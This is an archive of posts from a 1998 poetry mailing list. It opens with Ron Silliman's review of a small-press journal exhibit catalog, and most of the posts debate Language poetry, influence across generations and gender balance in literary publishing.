This is the catalog to the big exhibit that was displayed at the NYPL earlier this year and it's given me lots to think about, as it's a generally excellent history of the two decades that it covers (and then some, as it goes in places much further

back). It was great to see copies of some fine old journals that I used to own (I long ago got into the habit of retaining only those mags in which I had work, save for those rarest of rare journals for which I felt the need to have a complete run [e.g. L=A=N=G=U=A=G=E, Roof, How(ever), Temblor, This, Hills], a decision forced upon me by the sheer limits of my living quarters). And to see others that I'd only heard of (Floating Bear!) for the very first time.

One of the things it's made me think about has been the dramatic contrast between the world proposed by all these journals, from Beatitude to J to Vort to El Corno Emplumado, and the claustrophobic drawing room vision of poetry that the Academy of American Poets presents itself to be, even in its most liberal guise. In point of fact, Bombay Gin will have more to do with the future of poetry than the question of representation on that board which still only has one member under the age of 60.

The anthology isn't perfect, of course, but one problem it had to deal with was the number of editors (myself for one) who didn't take NYPL's requests for a subscription all that seriously, since Tottel's never got beyond 150 or 200 copies in circulation. But this anthology *is* perfect evidence for the proposition that a publication of 200 copies can have a serious impact if it just gets into the right hands. Clay and Phillips are just those hands.

www.granarybooks.com would be one way to obtain the volume. The price, $27.95, is extremely affordable for what is genuinely a must-have book.

Ron Silliman

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453. **s. kaipa**
Query
Mon 16 Nov 1998

Does anyone have a mailing address for Linda Reinfeld?

Thanks,

Summi

↑ Index

454. **Todd Baron /*/ ReMap**
Re: RIBOT: oldnewgenerationsfinallyhereatlast
Tue 17 Nov 1998

P.Standard Schaefer wrote:
>
> Paul Vangelisti, editor of RIBOT asked me to make the following information

> available. It seems a pretty good timing to as the new issue contains a
> substantial number of younger, newer, not well-known poets alongside heavies

what's also refreshing is that (I insist!) RiBot is really unlike any other publication--at this time--and that the art is not simply illustration--nor tyhe poets' poems.

Todd Baron
(ReMap)
>

↑ Index

455. **shana**
Re: MUSICalifornia
Tue 17 Nov 1998

-----Original Message-----
From: Todd Baron /*/ ReMap <[redacted]>
To: [redacted] <[redacted]>
Date: Monday, November 16, 1998 9:45 PM
Subject: MUSICalifornia

> *Here's a folkie questions (rocky, too) (sixties) (er) musical:*
>
> *I'm looking for a recording of TIM BUCKLEY (circa 1968 approx.) singing his SONG OF THE SIRENS (or TO the Sirens--I think). Anyone know what cd it might be on?*

Starsailor is the name of the album, released in the early seventies, I think.

> *This Mortal Coil covered it on their 1st album--*

And you can also find Buckley singing "Song to the Siren" on the super duper secret 4th CD of This Mortal Coil's boxed set--it contains the original artists singing all the songs covered by This Mortal Coil.

Oh, and This Mortal Coil covered Buckley's "Morning-Glory" on their album _Filigree and Shadow_ (the original is on _Goodbye and Hello_.

Broken lovelorn on your rocks,
shana

"How pure we were then, before Rimbaud, before Blake.
Grace. Love.Take care of us. Please."--C.K.Williams

↑ Index

456. Todd Baron /*/ ReMap
MUSICalifornia
Tue 17 Nov 1998

Here's a folkie questions (rocky, too) (sixties) (er) musical:

I'm looking for a recording of TIM BUCKLEY (circa 1968 approx.) singing his SONG OF THE SIRENS (or TO the Sirens--I think). Anyone know what cd it might be on?

This Mortal Coil covered it on their 1st album--

I'm in a minstrel mood.

Todd Baron
(ReMap)

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457. Mark DuCharme
Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

Ron Silliman, David Bromige, Mark Wallace, Chris Stroffolino & I are in agreement that it would not be useful for poets, say, in their 30s (as Chris, Mark & I are) to write like Ron Silliman-- assuming this were possible.

David Bromige's post makes some very good points, & I want to make it clear that I in no way am comparing the "oedipal" climate of our time to that of the time in which Ron, David & other Language poets emerged. It's not the same; furthermore, it was worse then for young poets who "deviated from the path," I have no doubt. In my opinion a number of the Language Poets have been generous, or at least reasonably friendly toward, the work of poets my age, including those who could be seen as deviant. This, I assume, goes for Ron as well--although I don't know him personally-- the subject of our recent posts notwithstanding.

David writes so eloquently: "To develop [Ron's] egalitarian stance in some other way, though : I believe I see this in Mark Wallace's poetry, and not at all to its detriment. Or to develop his notional systems--or those of Jackson Mac Low--to develop these _or_ to qualify them--in ways that put a sufficient distance between themselves, and their precursors, looks like another extension that several are doing.

Don't you think it is this Ron hopes for, and nothing slavish?"

Yes, David, I do.

Yet at the same time you will sympathize with younger poets, who are not themselves unthoughtful in their response to previous generations, & not unserious in their aims (although time always will be the judge of who or what will last), feeling annoyed, or rather, feeling that mixture of annoyance & respect which can itself be more irritating.

The literary inheritance of our generation includes Language poetry but is larger than it-- as Ron & David of all people know, & as Chris for one is certainly very conscious of. My own sense is that to acknowledge the Language poets as precursors & to work in a way that proceeds out of that-- while also making use of whatever else is there that one cares for-- is precisely one way in which to accomplish the sort of deviant extention we are all in agreement we want. So I was quite surprised to learn that, according to Chris & Mark, Ron wouldn't agree (something which Ron himself subsequently contradicted). I say I was surprised, & perhaps I was not forthright about that in my previous post, but then again I am out here in Boulder away from it all, & David hasn't read here in several months, & Ron hasn't read here in a couple of years, & I may not know about Ron's attitude.

As for whether it is any of David's business, it isn't, but I for one don't mind his butting in, so long as he does so graciously & with humor as he always does.

Mark DuCharme

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458. Gabriel Gudding

Re: Fuming & writing like Ron (Deviant Extensions)

Tue 17 Nov 1998

On Mon, 16 Nov 1998, Mark DuCharme wrote:

> *Ron Silliman, David Bromige, Mark Wallace, Chris Stroffolino & I are in agreement ...*

Lily Tomlin, Buster Keaton, MY GOOD FRIEND PINKY, the early Robin Williams, and ... LIL OL' _ME_ ... are all rather witty!

-- Perry Importanz

↑ Index

459. **Michael Magee**

Re: Fuming & writing like Ron (Deviant Extensions)

Tue 17 Nov 1998

According to Mark DuCharme:
>
> The literary inheritance of our generation includes Language poetry but
> is larger than it-- as Ron & David of all people know, & as Chris for
> one is certainly very conscious of. My own sense is that to acknowledge
> the Language poets as precursors & to work in a way that proceeds out of
> that-- while also making use of whatever else is there that one cares
> for-- is precisely one way in which to accomplish the sort of deviant
> extention we are all in agreement we want.

I think this is right on, Mark. One difficulty of discussing the novelty of younger writers in relation to lang po is that those involved in the discussion may not be hearing all the registers - that is, may not be aware of influences, echos, mediations coming from outside lang po and it's direct predecesors in NAP. To take the first example that comes to mind, my own sense of the possibilities of rhyme has been very much influenced by hip-hop - here, at least in some cases, rhyme is not an adherence to the strictures of form but a kind of improvisational ("free-style") joke:

> I always roam the forest just like a Brontosaurus
> Born in the month of May so my sign is Taurus
> I kick you in the face like my fuckin' name was Chuck Norris
>
> -Busta Rhymes

Masculinist posturing aside (and this too is a kind of joke, Busta Rhymes being the trickster par excellence) this sort of off-the-cuff rhyming really interests me: it challenges notions of what poetic rhyming is, what it's supposed to do, challenges notions of craft (Robert Lowell he ain't). And here, rather than being backgrounded, rhyme is foregrounded: in order to rhyme he simply lies (Busta Rhymes does not "always roam the forest" nor is this precisely metaphor in the traditional sense). What you have then is an implicit admission of the artifice of it all, to me quite interesting. One can make comparisons to, say, Bernstein's recent work w/ rhyme but they're certainly not the same. And to get back to my original point, this kind of thing winds up (albeit in a very alienated form) in my own work. How to account for that when one's only point of reference is lang po?

-m.

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460. **Sylvester Pollet**
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

Mark, I'm older than Methusaleh, and I recognize this as jump-rope rhyme. Sylvester

> *And here, rather than being backgrounded, rhyme is foregrounded: in order to rhyme he simply lies (Busta Rhymes does not "always roam the forest" nor is this precisely metaphor in the traditional sense). What you have then is an implicit admission of the artifice of it all, to me quite interesting. One can make comparisons to, say, Bernstein's recent work w/ rhyme but they're certainly not the same. And to get back to my original point, this kind of thing winds up (albeit in a very alienated form) in my own work. How to account for that when one's only point of reference is lang po?*
>
> *-m.*

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461. **Jacques Debrot**
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

Mike Magee writes: "Those involved in the discussion may not be hearing all the registers - that is, may not be aware of influences, echos, mediations coming from outside lang po and it's direct predecesors in NAP." Exactly; the anxiety & defensiveness running through this thread is somewhat exasperating -- in what sense is Silliman's work really an obstacle? Jeff Clark does miraculous things with Michaux & Desnos via the comix, Cathy Wagner's poetry uses Bernadette Mayers' stuff (filtered through the mass market magazine) in a strikingly original way, Jordan Davis takes something like Koch's _When the Sun Tries to Go On_ & really runs with it, and how are Damon Krukowski, Brian Schorn, Standard Schaefer, Tim Davis, Brenda Coultas, Mary Burger, etc., etc., hung up on the New Sentence? In fact you only have to check out the generations issue of _Ribot_ to see how fresh -- sexy, funny, & experimental -- a lot of the very newest poetry can be -- it has nothing to apologise for or explain away. -- Added to which, there are emerging internationalist influences that just don't fit the paradigm some contributors to this thread have been struggling with & against, & which make the hand wringing here seem a little parochial -- as evidenced once again by _Ribot_, as well as by Douglas Messerli's terrific new mag _Mr Knife, Miss Fork_, _FAUCHEUSE_, _Raddle Moon's_ French issue, _Big Allis's_ British & Irish special feature -- to name only a very few examples. -- All of which, finally, leads me to ask, who are Silliman's imitators exactly? Frankly, I don't see a lot of emerging poets (anybody?) writing like him --

if anyone, it's Bruce Andrews' work that seems to figure as the biggest Langpo influence on new writing.

Oh, by the way, I appreciated Greg Gudding's deflating a few pretensions -- as if somehow Silliman, Du Charme, Bromige, etc. had definitively framed the discussion for the rest of us.

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462. Michael Magee
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

According to Sylvester Pollet: >
> Mark, I'm older than Methusaleh, and I recognize this as jump-rope rhyme.
> Sylvester

Yes, absolutely - hip-hop comes out of an African American tradition in which jump-rope rhymes are an important part of creative developent and self-expression, right? In the interview I (Mike by the way, not Mark) did w/ Harryette Mullen she says,

"And then there was all the sort of playground, jump-rope rhyme, circle games. I mean all of the games that we played were - at least that the girls played - were very verbal games that involved rhyming along with some sort of physical activity, you know, show your motion and jumping rope and little Sally Walker and all of that. And then we had, in the interplay between the girls and the boys, and what the boys did with one another - the sort of dozens, capping, signifying, verbal duels - you know, when people begin to be sort of pre-adolescent there’s all this kind of pseudo-courtship, formulaic exchanges that people have, you know, ‘What’s cookin’ good lookin’?’ and, you know, the girl says, ‘Ain’t nothin’ cookin’ but the beans in the pot, and they wouldn’t be if the water wasn’t hot’. You know, we knew to say that, so, we would…and then, every now and then someone would invent a new rhyme, you know, and that would be incorporated into everybody’s collective repertoire. So I think that that was just the sort of environment that we were all growing up in."

So, yeah, I think you're right to hear that in those Busta Rhymes lines as well. But the point is, do you hear it in Silliman, Andrews, Hejinian or whoever you'd like to name? If not, then this is an instance where influence has come from outside of the tradition which tends to dominate this list (and I mean that neutrally). So if it's come circuitously via jump-rope games that's fine but doesn't, I think, invalidate my original point. -m.

> *And here, rather than being backgrounded, rhyme is foregrounded: in order to rhyme he simply lies (Busta Rhymes does not "always roam the forest" nor is this precisely metaphor in the traditional sense). What you have then is an implicit admission of the artifice of it all, to me quite interesting. One can make comparisons to, say, Bernstein's recent work w/ rhyme but they're certainly not the same. And to get back to my original point, this kind of thing winds up (albeit in a very alienated form) in my own work. How to account for that when one's only point of reference is lang po?*
>
> *-m.*

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463. **Charles Bernstein**
Cadiot: Corrected Time
Tue 17 Nov 1998

Olivier Cadiot
at the Knitting Factory / 74 Leonard Street / Friday, Nov. 20,

8:30pm

(the 7pm time on the pervious notice is for Benoit Duteurtre; Cadiot begins at 8:30pm)

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464. **Mark Weiss**
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

Yes, and also Calypso, and before that way back to the mid-17th century to Butler's Hudibras, which was a standard and much-imitated clasic down to the early 2oth century. The point being not that hiphoppers read late baroque poetry, but that there's only so many ways to swing a rhyme.

At 09:03 AM 11/17/98 -0500, you wrote:
>Mark, I'm older than Methusaleh, and I recognize this as jump-rope rhyme.
>Sylvester
>
>
>>And here, rather than being backgrounded, rhyme is foregrounded: in order
>>to rhyme he simply lies (Busta Rhymes does not "always roam the forest"
>>nor is this precisely metaphor in the traditional sense). What you have
>>then is an implicit admission of the artifice of it all, to me quite

>>interesting. One can make comparisons to, say, Bernstein's recent work w/
>>rhyme but they're certainly not the same. And to get back to my original
>>point, this kind of thing winds up (albeit in a very alienated form) in my
>>own work. How to account for that when one's only point of reference is
>>lang po?
>>
>>-m.
>
>

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465. **Joe Amato/Kass Fleisher**

Re: Fuming & writing like Ron (Deviant Extensions)

Tue 17 Nov 1998

---

personally, i find these anxieties (of influence, i suppose) even more exaxperating (i think) than jacques suggests, not b/c i haven't learned from any number of poets and poetries, but b/c the way these anxieties seem to play themselves out in these parts, i'm always left feeling as though what's at stake is a kind of us/them divide, neither half of which do i feel compelled to align mself with entire... which is to say, i appreciate jacques' provocation...

look: i'm 43---not under 30, not over 60, not new, not young, not old, and not anthologized (though a "protected category" according to these job forms i've been filling out of late)... one of my parents was not born in the usa... i didn't grow up here in chicago, or in nyc, or san fran, or la... i didn't major in english as an undergrad... and though i now (and hopefully, in the future) teach english, untenured, in academe, i spent my twenties working for industry... for a portion of my life i wasn't "middle class" or even "lower class," and i've never been "rich"... i spent my childhood in suburbia, but e.g., for the past seven years anyway, have lived in a city... i enjoy the city, but i love the country too---esp. the mountains (which is to say, i'm not happy with illinois flatland)... if it's not too self-conscious to say so, my work in toto doesn't respond to the designations langpo, or vizpo, or 'talisman poetry' (if there were such a thing), or mainstream, or midwest (someone please correct me if such self-evaluation is wrong-headed)... though of course i see elements of numerous aesthetics and regions at work in what i do, and though of course, from a more active political standpoint, most days i feel the need to defend the small over the large, insofar as distribution access etc go...

in fact i gauge my "community," however fraught, more in terms of people than in terms of poems... though it's nice when the two seem to come together, and aggravating when the two seem in opposition...

so while i really do enjoy this list, and really am intrigued by various claims made, i would suspect list discussion would be even more to the point if it were to allow (however) for folks (like me, i guess) who find themselves largely un-allied, more fluid vis-a-vis specific aesthetic and "community" arguments/controversies generally set forth (dangers of pluralism notwithstanding)... and i can't believe i'm the only person who feels this way... in all, it's a pesky issue to raise---but the list is more various than one might conclude from reading through certain threads...

best,

joe

↑ Index

466. **Judy Roitman**

Re: Fuming & writing like Ron (Deviant Extensions)

Tue 17 Nov 1998

> *I'm with Joe on this one. I never felt I could *be a Language Poet myself, though I admire work by Howe, Silliman, Coolidge, Hejinian, Bernstein, Armantrout, Bromige, etc... I'm more of a fourth generation New York School acolyte, though I've spent only a few days in New York. Coming from California, I'm attracted to West Coast poets as well, but I've been in exile in the mid-west for most of my adult life, living in West Lafayette Indiana, Columbus, Ohio, St. Louis, and now Lawrence, KS. (after 2 years in Ithaca NY in the mid 1980s). I never took myself seriously enough as a poet to feel anxiety around group affiliation or precursor envy. I am happily derivative of whoever I have read most recently. I'm thinking of taking up the drums...*
>
> *Jonathan*

Not being as clever as J. Mayhew I'm not very successful at being consciously derivative. But those I'm unconsciously derivative of I tend not to categorize (has anyone noticed, by the way, how few women if any -- I haven't kept careful track -- have been cited in this thread as influential?), tend to learn from whoever I learn from -- some young, some old, some widely published some hardly (like me) published at all... . With all deep gratitude (I mean this) for those who have consciously and even self-consciously articulated what has made possible things that were not or barely possible before articulation (when 16 I wanted to move outside syntax but with no-one to Show Me The Way could not do it for another 25 or so years --- nearly a codger, amn't I) find talk of schools & the notion of consciously adhering to a declared movement, well, somewhat strange. Maybe it is permanent outsider status. Don't know.

Cheers to all.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

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467. **MAYHEW**
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

I'm with Joe on this one. I never felt I could *be a Language Poet myself, though I admire work by Howe, Silliman, Coolidge, Hejinian, Bernstein, Armantrout, Bromige, etc... I'm more of a fourth generation New York School acolyte, though I've spent only a few days in New York. Coming from California, I'm attracted to West Coast poets as well, but I've been in exile in the mid-west for most of my adult life, living in West Lafayette Indiana, Columbus, Ohio, St. Louis, and now Lawrence, KS. (after 2 years in Ithaca NY in the mid 1980s). I never took myself seriously enough as a poet to feel anxiety around group affiliation or precursor envy. I am happily derivative of whoever I have read most recently. I'm thinking of taking up the drums...

Jonathan

↑ Index

468. **Steven Marks**
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

un-allied, un-aligned and un-alloyed
will sell out to lowest bidder
prices start at 45 years

Steven

On Tue, 17 Nov 1998, Joe Amato/Kass Fleisher wrote:

> *for folks (like me, i guess) who find*
> *themselves largely un-allied...*
>
> *... and i can't believe i'm the only person who*

> *feels this way...*
>
> *best,*
>
> *joe*

↑ Index

469. **KENT JOHNSON**

A couple things

Tue 17 Nov 1998

Regarding this thing concerning "literary inheritance," I don't think there's been any mention on the List about David Lehman's _The Last Avant-Garde: The Making of the New York School of Poets_, which is a marvelously entertaining critical history focusing on Ashbery, O'Hara, Koch and Schuyler, but also bringing in many others for discussion, including a number of folks on this List-- particularly in the Epilogue, where Lehman has bitter-sweet things to say about "Language poetry" (Charles Bernstein, for example, is not really a Language poet, he is a "New York poet in disguise); Silliman and others have written "impressive and noble works," but the typical Languagae poem is more often than not "an autopsy performed on a cadaver," and obviously not in the exquisite corpse sense of it.

But don't let any of this get you down. Lehman's book is really the best and funnest book ever written on "post-war" Am. poetry. It's all about giving in to influence and resisting being influenced, so if you are a twenty or thirty-something post-Language poet I think it is a must read!

The other thinkg I wanted to note that I don't remember seeing any mention about is the new issue of Jack Kimball's great East Village Poetry Web, whcih is a fantastic anthology of contemporary Canadian poetry, with some listmates there too and a number of folks famously excluded from phallic father Silliman's _In the American Tree_. Wondering, actually, if this would be the first book-length anthology of "innovative" poetry on the web?

Kent

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470. **tracy s. ruggles**

Re: Fuming & writing like Ron (Deviant Extensions)

Tue 17 Nov 1998

I'm going to chime in with my 2 cents here: I'm just as happy, too, about deriving from anywhere and everywhere, and not just poetry. The whole idea of

schools and poetic lineage is all fun and good and helps me position myself before I write, but in the dirty business of actually grinding out some words, I've got to be on my game, agile, aware, clear and present. You can't play drums by reading notes. It's got to be in your blood.

look at me: i'm 29 -- under 30 for only a few more months. i feel young. both my parents were born in texas, and their parents, too. i grew up in houston of all places, only read cummings in high school. didn't even know barthelme was teaching at UofH until I moved to Boulder in my 20's. i haven't ever been rich either, but haven't been poor. i've suffered from the "I'm a boring white male with no history, why do I write?" myth. my work doesn't seem to respond to any line of poets as such, but more to my "search for truth". i find clark coolidge's writing intensely spiritual.

I have thoroughly enjoyed the fireworks as of late. It doesn't detract from my enjoyment of this list at all. I consider it my favorite online "community". I've belonged to this one longer than any other...

Does anyone have a convincing argument as to why anyone should try to advance (in their work) any one single poetic heritage? If anything, the dominant idea of our times is to consolidate and transcend the multi-nodal ideas of the middle of our century. I don't know where it will take us, it might dead end, who knows. But it's interesting, nonetheless.

--trace--

On Tuesday/17.November.1998 8.50.42am, MAYHEW wrote:
>
  [...]
>
> I am happily derivative of whoever I have read most recently. I'm
> thinking of taking up the drums...
>
>
> Jonathan
>

↑ Index

471. henry gould
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

Jordan's referring to a friend of his(?) statement about the power of anonymity in poetry maybe relates to this thread... as I've probably blabbed here in years past, I wrote something about this called School of Anonymous once... for me

the idea was reinforced by the World Poetry anthology reading at the Translation conference & other things there. My thought is that the resources of poetry are sort of verbally-physiologically anonymous on a certain level. That is, poetry in essence is a sort of "piping up" or "talking back" or EMPHASIS using creative means - individual or trend styles & refinements build on this somatic center - but I guess my point is that all the focus on the differences or specifics perhaps obscures the fact that it's these basic ANONYMOUS energies that actually COME TO THE FORE in a good performance, whether it's Catullus or Virgil or some Swedish 18th- century satirist (one of the best acts at the conference). Empowered speech - speech empowered with wit, drama, feeling, vision.

blabbity-blab-blab blab down the road we go...

- Henry Gould

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472. Sylvester Pollet

Re: Fuming & writing like Ron (Deviant Extensions)

Tue 17 Nov 1998

Mike, very sorry on name, only the m showed on reply form, I guess. I'm glad to read that part of the interview. That's the stuff I was alluding to, & I always loved the sound of it & the wacky invention. The one I'm thinking of has the alliterative tradition mixed in, Can't get the words right, but the one that goes something like "My name is Barbara and I come from Brooklyn and my boyfriend's name is Brian and we eat baloney." That's embarassingly rough, but my wife, who jumped them in NYC, isn't here at the moment. By all means, keep on jumping! And who cares about dominators? Who
believes that? Maybe the Acad. of Amer. Bigshots. Sylvester
>
>Yes, absolutely - hip-hop comes out of an African American tradition in
>which jump-rope rhymes are an important part of creative developent and
>self-expression, right? In the interview I (Mike by the way, not Mark)
>did w/ Harryette Mullen she says,
>
>"And then there was all the sort of playground, jump-rope rhyme, circle
>games. I mean all of the games that we played were - at least that the
>girls played - were very verbal games that involved rhyming along with
>some sort of physical activity, you know, show your motion and jumping
>rope and little Sally Walker and all of that. And then we had, in the
>interplay between the girls and the boys, and what the boys did with one
>another - the sort of dozens, capping, signifying, verbal duels - you

>know, when people begin to be sort of pre-adolescent there s all this kind
>of pseudo-courtship, formulaic exchanges that people have, you know,
> What s cookin good lookin ? and, you know, the girl says, Ain t
>nothin cookin but the beans in the pot, and they wouldn t be if the
>water wasn t hot . You know, we knew to say that, so, we would and then,
>every now and then someone would invent a new rhyme, you know, and that
>would be incorporated into everybody s collective repertoire. So I think
>that that was just the sort of environment that we were all growing up
>in."
>
>So, yeah, I think you're right to hear that in those Busta Rhymes lines as
>well. But the point is, do you hear it in Silliman, Andrews, Hejinian or
>whoever you'd like to name? If not, then this is an instance where
>influence has come from outside of the tradition which tends to dominate
>this list (and I mean that neutrally). So if it's come circuitously via
>jump-rope games that's fine but doesn't, I think, invalidate my original
>point. -m.
>
>

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473. **Eliza McGrand**
Re: Great Ladies of Poetry
Tue 17 Nov 1998

---

second summi -- many thanks to you rachel.

i would add an interesting (and scary) note to this. For all of you out there who would say "oh, there's no sexism in the ruling ranks of poetry" i suggest you check a couple of the Well Known Journals from library -- the something-or-another reviews, the university spokesmags, etc. turn to the adverts/announcements. now, for contests where entries are anonymous, which can be weeded out by entrance requirments listed ("send X no. of poems without name on pages, and a master list with name, address, and poem titles" or explicit description of anonymous entry policy) go to later edition and read winners. you will find about 1/2 or more are women.

go to contests where entries explicitly ownered (i.e. "print name on top right corner of each entry," or no announcement of entry anonymity) and hey presto, do you know what you will find? gros predominance of male winners.

harken back to your workshop and poetry class days -- MANY more women in class than men, no?

now, go to table of contents of WKJ's... usual is a 1/10 ratio of male poets to female poets. i was at a dinner with editor of pretty well known lit. vehicle. as a good poetry citizen and woman does, i mentioned this problem to him. "no, our journal is not like that at all...!" he had proofs for upcoming edition with him, and got them out to prove his point. in increasing silence, we read... male poet's name after male poet's name... occasional woman poet inserted in that famous ratio, 1/10.

i know i've had problems getting submissions from women at various times, and other editors tell me same thing. but i work with a web zine, and have heard some guesses that women are just not on the net in as great a number. so we've specifically campaigned to reach out to women, putting our info on mailing lists and bboards focused on women and women's issues. last issue i did, i didn't think about ratio when i was picking work (focused on a theme that was appearing throughout submissions) and suddenly, as i typed up the list of poems/poets for TOC for my editor jordie, over half the poets were women -- a really exciting moment. and i realized that we are getting at least a half/half ratio these days without trying, for the most part.

anyone have any war stories from print about this? from chapbook publishing?

e

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474. **Mairead Byrne**
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

I'd like to join the group of people named Mark.
-- Mark Marks

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475. **KENT JOHNSON**
Language as pillow (A Question)
Tue 17 Nov 1998

In the wake of David Bromige's denial that he is a "Language poet," I have some questions that seem relevant to this "Influence" discussion:

Is there _anybody_ out there writing poetry today who still calls him or herself (or wishes to be called so by others) a "Language poet"? To what extent is this term still operational beyond being a fluffy pillow for young poets with Bloomian anxieties to punch?

Isn't Language poetry really now a body decomposing in the mausoleum where also rest the bones of Imagism, Vorticism, Futurism, Surrealism, Projectivism, Objectivism, and so on RIP?

And to say that no, it's diferent because there are still living poets around who once aggresively pushed the moniker is _not_ an argument. There are still plenty of old "Olsonites" around too, but who is talking about the anxieties caused by "Projectivism"?

I'm bemused by the angst that has surfaced in this discussion-- as it has surfaced a number of times here before.

Kent

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476. **Jacques Debrot**
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

I meant to say earlier that Mike Magee's taking up the possibility of intergeneric influence is a crucial one. When I write now I always have reproductions of Carroll Dunham's paintings, or Basquiat's, or Ingrid Calame's stuff nearby for inspiration & permission. -- If you haven't seen her work, Calame's titles only hint at how wonderful her daffy abstractions are -- _ZAP- glunk_, _OM splink_, _EUnstz_ . . . .

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477. **ShaunAnne Tangney Humanities**
Re: Great Ladies of Poetry
Tue 17 Nov 1998

On Tue, 17 Nov 1998, Eliza McGrand wrote:

> *second summi -- many thanks to you rachel.*
>
> *i would add an interesting (and scary) note to this. For all of you out there who would say "oh, there's no sexism in the ruling ranks of poetry" i suggest you check a couple of the Well Known Journals from library -- the something-or-another reviews, the university spokesmags, etc. turn to the adverts/announcements. now, for contests where entries are anonymous, which can be weeded out by entrance requirments listed ("send X no. of poems without name on pages, and a master list with name, address, and poem titles" or explicit description of anonymous entry policy) go to later edition and read winners. you will find about 1/2 or more are women.*
>
> *go to contests where entries explicitly ownered (i.e. "print name on top right corner of each entry," or no announcement of entry anonymity) and*

> *hey presto, do you know what you will find? gros predominance of male winners.*

i am the faculty advisor for our university's literary magazine (the _Coup_), and we enlist a panel of judges to read the entries, and we do a blind judging--no names on the work. last year _all_ of the winning entries were by women. just this week the magazine was taken to task in the school newspaper by a woman who has begun an "underground" lit.mag. i quote the newspaper: "DeVere was primarily upset by last years _Coup_ because all the selected literature happened to be by women authors. She said it could not be sheer coincidence that all the males who submitted literature had no talent." now obviously this is a student who is a little hot-headed and is trying to be melodramatic, but --the pattern remains, doesn't it? we were as fair as fari could be, and in fact i was not so secretly pleased to see so many women writers in print...but alas...even here at tiny minot state university we are taken to task...

--shaunanne tangney

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478. david bromige

framing and fuming and writing like Ron/ we passed several days. Don't tell me they're gone!

Tue 17 Nov 1998

Rush Limbaugh II here.....No, don't touch that knob...the Joe Amato/Kass Fleish post voices a position that I heartily endorse, and have for a long time.*. I had n o presumption--pace Jacques Debrot--to propose any final frame for this Thread. My positions are always conjectural. It was not _my_ notion that Ron's writing is, besides what else it is, an 'obstacle'...but had picked up that view of it from other posts to the List. I.e., there were posts from those for whom it _did_ have an obstacular quality. It was this perception I intended to address.

Btw, (and my usage is a guilty party here), what _is_ "writing like Ron"? When Ron writes the next book of the Alphabet, will he be writing like Ron because the new work will manifestly echo his previous books, or will his departure therefrom be obscured because it will be being written by Ron? By 'writing like Ron,' does one mean 'Ketjak-like,' or something wider, namely 'anything Ron writes is Ron-like writing' ? "If Silliman made his next book sound as though Sam Beckett had written it, would it still be Ron-like writing?" "And at what future point?"

As a somewhat outside observer, I observe that the debate splits between those for whom the obstacular is front-burner, and those who perceive no obstacle at all...along a curve where various modifications of each persuasion are to be

found. (Looking at the discussion from the p-o-v of achieving consensus.) I haven't volume 193 of the DLB handy (didn't have a spare $130 lying around here), but isn't the Watten piece in there written by Jacques Debrot? It would be interesting, possibly, to hear your sense, Jacques, of whether Watten's writing and his defense thereof, also constitute--even intentionally--a 'beautiful obstacle' [I think I am echoing Antin on Cage here] for those who come after?

David

* am uneasy, therefore, as ever, to see my name in a list of Language writers...as though some claim is being made in behalf of my writing, that the facts won't support. There is/was a tendency, and within that tendency, a movement. To the tendency, I admit--it was there from the outset in the 60s. En passant this made my work of some interest to the movement, and I found my best readers--and critics--among the group, and a reciprocity grew from that, and friendships. All that aside, Coolidge strikes me as much more a Langpo than myself, as do Michael Palmer and Michael Davidson, so that I am surprised to see their names often omitted from such groupings, espec when my name is included..But I realize that my part in this discussion, as an advocate, I suppose, for Ron, is probably the reason why. db3

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479. David Zauhar
Re: Harry Mathews (fwd)
Tue 17 Nov 1998

For those of you in Chicagoland. This just came up in my mailbox (apologies if this came off Poetics and I inadvertantly deleted it, only to discover it anew and repost it now).

Trying hard not to write just "Another typical Silliman sentence,"

Dave Zauhar
---------- Forwarded message ----------

Thursday November 19th at 8 pm, Great Expectations Bookstore in Evanston will host a reading by American writer Harry Mathews. Mathews is touring to support a collection he's recently edited, _OuLiPo Laboratory_, a compendium of writings by the OuLiPo writers, an organization of authors dedicated to formal experiment in literature. The OuLiPo included among its members, along with Mathews, Georges Perec, Raymond Queneau, Italo Calvino, and Jacques Roubaud. Mathews's own work will be available as well, including a couple of his best works, _Cigarettes_ and _The Journalist_, recently returned to print by Dalkey Archive Press. It's good to see his writing back in print, giving people unfamiliar with his work a chance to become acquainted with someone who I

think is one of the most interesting American writers of the century. As well as Mathews's books, all Dalkey Archive titles, including books by many members of the OuLiPo, will be available at 20% off.

The store is at 911 Foster Street in Evanston, between Sherman and Ridge, just past the L tracks (just beneath the Foster stop on the Purple Line). Feel free to call [redacted] with any questions. Thanks; hope to see you there!

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480. **Eliza McGrand**
overdue address listing for cuisinart
Tue 17 Nov 1998

---

i've gotten a bunch of requests about this and it is getting embarrassing. a few months ago, Creative Coalition of ARtists (CCA) -- which hosts ezine "The Free Cuisinart," got bollixed up with web address. we've moved to new address -- www.ccofa.org -- and you can get cuis, and archives of cuis, there. not up on indexers yet since move is still too new.

sorry everyone...

e

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481. **Mark DuCharme**
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

>Oh, by the way, I appreciated Greg Gudding's deflating a few pretensions --
>as if somehow Silliman, Du Charme, Bromige, etc. had definitively framed the
>discussion for the rest of us.

Well first of all this was a response to a thread to which all of the above named had posted, & an attempt to stress that there was less dis agreement than some of the above may have thought. I am sorry if, in my haste to get to what I was saying in my post, I may have, quite unintentionally, ruffled any egos. I certainly was not intending to say that *_ANY_* of the above had or could "frame" such a general & public discussion with any of the finality with which you imply. As for Gudding, I suspect he may have had other motives. & Further comment on that, politeness forbids.

MDC

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482. David Zauhar

Re: Fuming & writing like Ron (Deviant Extensions)

Tue 17 Nov 1998

